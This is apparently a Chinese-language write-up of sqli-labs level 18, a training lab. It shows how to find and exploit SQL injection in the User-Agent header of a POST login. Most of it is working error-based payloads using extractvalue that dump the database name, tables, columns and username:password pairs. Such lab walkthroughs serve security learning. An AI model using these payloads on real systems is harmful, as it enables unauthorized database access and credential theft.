当前位置：首页 > article >正文

sqli-labs第十八关——POST-UA注入

article 2025/6/27 15:35:43

一：判断注入类型

先在用户名和密码框尝试判断，发现都得不到需要的回显

所以查看源码

可以发现username和password的输入后端都做了检查，没法直接注入

所以我们尝试uagent注入

UA注入：

没有url解码处理
只识别原始空格，+，%20都不作为空格解析
在User-agent字段中注入

先用一组密码登录，bp抓包

构造判断的payload

User-Agent: 1
User-Agent: 1'
User-Agent: 1"
User-Agent: 1')
User-Agent: 1")

单引号的时候产生不同的回显

其余均为

确定为单引号字符型，尝试闭合

闭合成功但报错，其他几种情况闭合均无回显，所以我们尝试报错注入

二：开始注入

1.爆数据库名

User-Agent: 1' and extractvalue(1,concat(0x7e,(database())))='1

2.爆表名

User-Agent: 1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))='1

3.爆列名

User-Agent: 1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')))='1

4.爆数据

看数据量

User-Agent: 1' and extractvalue(1,concat(0x7e,(select count(*) from users)))='

分两次爆数据

extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),1,32)))
extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),32,32)))